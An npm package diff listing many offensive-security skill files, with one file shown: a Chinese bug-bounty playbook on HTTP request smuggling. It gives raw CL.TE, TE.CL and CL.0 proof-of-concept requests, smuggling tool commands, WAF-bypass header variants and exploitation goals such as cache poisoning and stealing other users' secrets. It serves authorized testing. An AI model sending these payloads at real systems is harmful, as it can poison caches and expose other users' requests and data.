opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,924 @@
1
+ # HTTP Request Smuggling / HTTP/2 Desync
2
+
3
+ > 视角:黑盒,目标是利用前后端解析差异
4
+
5
+ ## 1. 一句话说清
6
+
7
+ 前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
8
+ 攻击者把"半包"塞进流,影响下个用户的请求/响应。
9
+ SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
10
+
11
+ ---
12
+
13
+ ## 2. 类型速览
14
+
15
+ | 类型 | 前置代理用 | 后端用 |
16
+ |------|----------|------|
17
+ | **CL.TE** | Content-Length | Transfer-Encoding |
18
+ | **TE.CL** | Transfer-Encoding | Content-Length |
19
+ | **TE.TE** | 都看,但前后处理混淆 | 同 |
20
+ | **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
21
+ | **CL.0** | CL=0 后端忽略 | 后端读 body |
22
+
23
+ ---
24
+
25
+ ## 3. 探测手法
26
+
27
+ ### 3.1 工具
28
+
29
+ ```bash
30
+ # Burp 扩展
31
+ HTTP Request Smuggler
32
+
33
+ # 命令行
34
+ smuggler.py -u https://target -v
35
+ http2smugl quirks --target target.com:443
36
+ h2csmuggler -u https://target/ --path /admin
37
+ ```
38
+
39
+ ### 3.2 经典 PoC
40
+
41
+ #### CL.TE
42
+
43
+ ```
44
+ POST / HTTP/1.1
45
+ Host: victim
46
+ Content-Length: 6
47
+ Transfer-Encoding: chunked
48
+
49
+ 0
50
+
51
+ G
52
+ ```
53
+
54
+ 前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
55
+
56
+ #### TE.CL
57
+
58
+ ```
59
+ POST / HTTP/1.1
60
+ Host: victim
61
+ Content-Length: 4
62
+ Transfer-Encoding: chunked
63
+
64
+ 5c
65
+ GPOST / HTTP/1.1
66
+ ...
67
+ 0
68
+
69
+ ```
70
+
71
+ #### 双 CL
72
+
73
+ ```
74
+ POST / HTTP/1.1
75
+ Host: victim
76
+ Content-Length: 4
77
+ Content-Length: 1
78
+
79
+ GPOST...
80
+ ```
81
+
82
+ #### CL.0(HTTP/2 时常见)
83
+
84
+ 后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
85
+
86
+ #### h2c smuggling
87
+
88
+ ```bash
89
+ h2csmuggler -u http://target/ --path /admin
90
+ # 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
91
+ ```
92
+
93
+ ---
94
+
95
+ ## 4. Bypass 矩阵
96
+
97
+ | 拦 | 绕 |
98
+ |---|---|
99
+ | 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
100
+ | TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
101
+ | WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
102
+ | 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
103
+ | h2 关闭 | h2c upgrade |
104
+
105
+ ---
106
+
107
+ ## 5. 利用提权 / 横向
108
+
109
+ ```
110
+ 1. 缓存投毒:让代理把恶意响应缓存为另一 URL
111
+ 2. 跨用户访问:把 admin 端点的响应"借"给下个用户
112
+ 3. 旁路 IP 限制:用走私走过 IP 校验
113
+ 4. 偷 secret:让别人的请求 + 自己的响应混合
114
+ 5. XSS(缓存了走私响应)
115
+ ```
116
+
117
+ ---
118
+
119
+ ## 6. 真实案例指纹
120
+
121
+ - PortSwigger blog 系列(James Kettle)
122
+ - Cloudflare / Akamai 多次披露
123
+ - HackerOne H1 上 desync 报告 $5k–$30k
124
+
125
+ 通用指纹:
126
+ - 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
127
+ - 偶尔 503 / 502 / 异常 status code
128
+ - 代理日志和后端日志请求数对不上
129
+
130
+ ---
131
+
132
+ ## 7. 复现 / 证据要点
133
+
134
+ ### 7.1 PoC
135
+
136
+ ```
137
+ # 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
138
+ POST / HTTP/1.1
139
+ Host: target.com
140
+ Content-Length: 6
141
+ Transfer-Encoding: chunked
142
+
143
+ 0\r\n\r\nG
144
+
145
+ # 立即第二个请求(同连接,Burp Repeater 同样栏)
146
+ GET / HTTP/1.1
147
+ Host: target.com
148
+
149
+ → 第二个响应应当反映前一次走私的 'G' 前缀
150
+ ```
151
+
152
+ ### 7.2 CVSS
153
+
154
+ ```
155
+ HTTP smuggling → 缓存投毒 = 8.1 High
156
+ HTTP smuggling → 旁路鉴权 = 9.1 Critical
157
+ HTTP smuggling → 跨用户 = 8.1 High
158
+ ```
159
+
160
+ ---
161
+
162
+ ## 8. 不要做的事
163
+
164
+ - **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
165
+ - **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
166
+ - **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
167
+
168
+ ## H1 真实案例
169
+
170
+ _共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
171
+
172
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
173
+ |---|--:|---|---|---|
174
